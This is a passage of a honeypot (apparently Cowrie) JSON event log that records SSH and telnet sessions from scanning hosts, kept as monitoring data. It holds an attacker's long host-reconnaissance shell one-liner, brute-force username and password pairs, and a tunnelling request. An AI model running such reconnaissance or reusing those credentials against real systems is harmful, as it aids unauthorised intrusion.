-m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.837691Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.841872Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.845652Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.849560Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.854180Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.857579Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.860931Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.928679Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.933665Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:24.938370Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:25.033382Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:20:25.117593Z","src_ip":"91.92.40.176","session":"cd27902d704c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":61014,"dst_ip":"159.203.135.109","dst_port":22,"session":"a029a21dda33","protocol":"ssh","message":"New connection: 176.53.159.196:61014 (159.203.135.109:22) [session: a029a21dda33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:05.014076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:05.017872Z","src_ip":"176.53.159.196","session":"a029a21dda33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:05.119222Z","src_ip":"176.53.159.196","session":"a029a21dda33","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:05.427635Z","src_ip":"176.53.159.196","session":"a029a21dda33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:05.533202Z","session":"a029a21dda33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:05.635608Z","src_ip":"176.53.159.196","session":"a029a21dda33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:05.740324Z","src_ip":"176.53.159.196","session":"a029a21dda33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":33026,"dst_ip":"159.203.135.109","dst_port":22,"session":"604f759c9245","protocol":"ssh","message":"New connection: 162.241.132.183:33026 (159.203.135.109:22) [session: 604f759c9245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:06.093138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:06.096603Z","src_ip":"162.241.132.183","session":"604f759c9245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:06.122495Z","src_ip":"162.241.132.183","session":"604f759c9245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"UNI$S3cur3@W0rd","message":"login attempt [root/UNI$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:06.201386Z","src_ip":"162.241.132.183","session":"604f759c9245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:07.229676Z","src_ip":"162.241.132.183","session":"604f759c9245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":45526,"dst_ip":"10.17.0.5","dst_port":22,"session":"9645481a683a","protocol":"ssh","message":"New connection: 162.240.75.182:45526 (10.17.0.5:22) [session: 9645481a683a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:25.293456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:25.297355Z","src_ip":"162.240.75.182","session":"9645481a683a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:25.378831Z","src_ip":"162.240.75.182","session":"9645481a683a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin%$#@!&*()!","message":"login attempt [root/admin%$#@!&*()!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:25.629958Z","src_ip":"162.240.75.182","session":"9645481a683a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:29.298525Z","src_ip":"162.240.75.182","session":"9645481a683a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":48292,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e2d429376fb","protocol":"ssh","message":"New connection: 154.70.102.114:48292 (10.17.0.5:22) [session: 0e2d429376fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:44.394333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:44.398345Z","src_ip":"154.70.102.114","session":"0e2d429376fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:44.612116Z","src_ip":"154.70.102.114","session":"0e2d429376fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc","message":"login attempt [root/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:45.496752Z","src_ip":"154.70.102.114","session":"0e2d429376fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:21:46.713133Z","src_ip":"154.70.102.114","session":"0e2d429376fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13016,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba6efa75de3b","protocol":"ssh","message":"New connection: 194.59.206.2:13016 (159.203.135.109:22) [session: ba6efa75de3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:02.438375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:02.444153Z","src_ip":"194.59.206.2","session":"ba6efa75de3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:02.530549Z","src_ip":"194.59.206.2","session":"ba6efa75de3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:02.626055Z","src_ip":"194.59.206.2","session":"ba6efa75de3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":57982,"dst_ip":"159.203.135.109","dst_port":23,"session":"02857840e2b3","protocol":"telnet","message":"New connection: 137.184.5.188:57982 (159.203.135.109:23) [session: 02857840e2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:30.277833Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":57336,"dst_ip":"159.203.135.109","dst_port":22,"session":"268e46b647cc","protocol":"ssh","message":"New connection: 176.53.159.196:57336 (159.203.135.109:22) [session: 268e46b647cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:56.247755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:56.251786Z","src_ip":"176.53.159.196","session":"268e46b647cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""